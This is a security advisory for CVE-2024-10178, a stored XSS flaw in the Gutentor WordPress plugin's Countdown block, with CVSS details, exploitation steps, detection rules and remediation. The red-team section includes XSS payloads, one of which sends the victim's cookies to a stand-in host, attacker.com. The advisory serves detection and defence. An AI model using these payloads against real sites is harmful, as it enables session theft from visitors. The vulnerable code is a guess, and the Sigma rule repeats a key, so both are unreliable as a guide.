CVE-2024-10178

Executive Summary

CVE-2024-10178 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gutentor – Gutenberg Blocks – Page Builder for Gutenberg Editor WordPress plugin, affecting all versions up to and including 3.3.9. The flaw resides in the plugin's Countdown widget, where user-supplied attributes are not properly sanitized or escaped. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. The vulnerability has a CVSS score of 6.4 (Medium), and no public exploit code or patch is currently available. This is a WordPress ecosystem issue; the vulnerability is in the plugin, not the web server.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can lead to session hijacking, defacement, or phishing.

Deep Dive & Mechanics

The vulnerability exists in the Gutentor Countdown widget, which is a Gutenberg block. When a user with contributor-level access or higher creates or edits a page using this block, the plugin fails to properly sanitize and escape user-supplied attributes (e.g., data-gutentor-countdown-date, data-gutentor-countdown-text, or custom CSS classes). This allows an attacker to inject malicious JavaScript code into the attribute values.

The injected script is stored in the WordPress database and rendered on the frontend when the page is loaded. Because the output is not escaped, the browser executes the attacker's script in the context of the victim's session. This can be used to steal cookies, redirect users, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.3.9): The Countdown widget likely outputs user-supplied attributes directly without escaping. For example:

<div class="gutentor-countdown" data-gutentor-countdown-date="<?php echo $attributes['date']; ?>">

Here, $attributes['date'] is not sanitized or escaped, allowing XSS.

Patched Code (Hypothetical): A patch would escape the output using WordPress functions like esc_attr():

<div class="gutentor-countdown" data-gutentor-countdown-date="<?php echo esc_attr($attributes['date']); ?>">

Additionally, input validation should be applied to ensure only expected values are accepted.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: Authenticated WordPress account with contributor-level access or higher.
2. Steps:
   • Log in to WordPress.
   • Create a new post or page.
   • Add the Gutentor Countdown block.
   • In the block's attribute field (e.g., date or text), inject a payload such as:

     "><script>alert('XSS')</script>
     

   • Publish or save the page.
   • When any user visits the page, the script executes.

Example Payload:

" onfocus="alert(1)" autofocus="true

Or a more malicious payload:

"><img src=x onerror=document.location='http://attacker.com/steal.php?c='+document.cookie>

Blue Team (Detection & Prevention)

• Web Application Firewall (WAF): Block requests containing suspicious JavaScript in block attributes.
• Input Validation: Ensure all user inputs are validated and sanitized.
• Content Security Policy (CSP): Implement a strict CSP to prevent inline script execution.
• User Education: Limit contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/post.php or /wp-admin/admin-ajax.php with suspicious attribute values in the Gutentor Countdown block.
• File: Modified or new posts/pages containing <script> tags or event handlers in the block's HTML output.
• Log: WordPress audit logs showing creation/editing of posts by contributors with unusual block attributes.
• Database: Entries in wp_posts table with post_content containing malicious JavaScript in Gutentor block attributes.

Detection Engineering

YARA Rule

rule CVE_2024_10178_Gutentor_XSS {
    meta:
        description = "Detects stored XSS payloads in Gutentor Countdown widget attributes"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-10178"
    strings:
        $payload1 = /data-gutentor-countdown-date\s*=\s*"[^"]*<script[^>]*>/i
        $payload2 = /data-gutentor-countdown-text\s*=\s*"[^"]*on\w+\s*=/i
        $payload3 = /gutentor-countdown[^>]*on\w+\s*=/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-10178 Gutentor Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in Gutentor Countdown widget
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10178
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/post.php'
        cs-uri-query|contains: 'gutentor'
        cs-uri-query|contains|re: '(data-gutentor-countdown-date|data-gutentor-countdown-text)'
        cs-uri-query|contains|re: '(<script|on\w+=)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in block attributes (unlikely)
level: high
tags:
    - attack.t1190
    - cve.2024.10178

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-10178 Gutentor Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"gutentor"; http_uri; pcre:"/(data-gutentor-countdown-date|data-gutentor-countdown-text)[^>]*<script/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Gutentor plugin until a patch is available.
2. Short-term: Restrict contributor-level access to trusted users only. Implement a Web Application Firewall (WAF) to block XSS payloads.
3. Long-term: Apply the official patch when released. Update to the latest version of the plugin.
4. Workaround: Use a security plugin like Wordfence to add virtual patching for this vulnerability.

Valters IT
Securing Digital Frontiers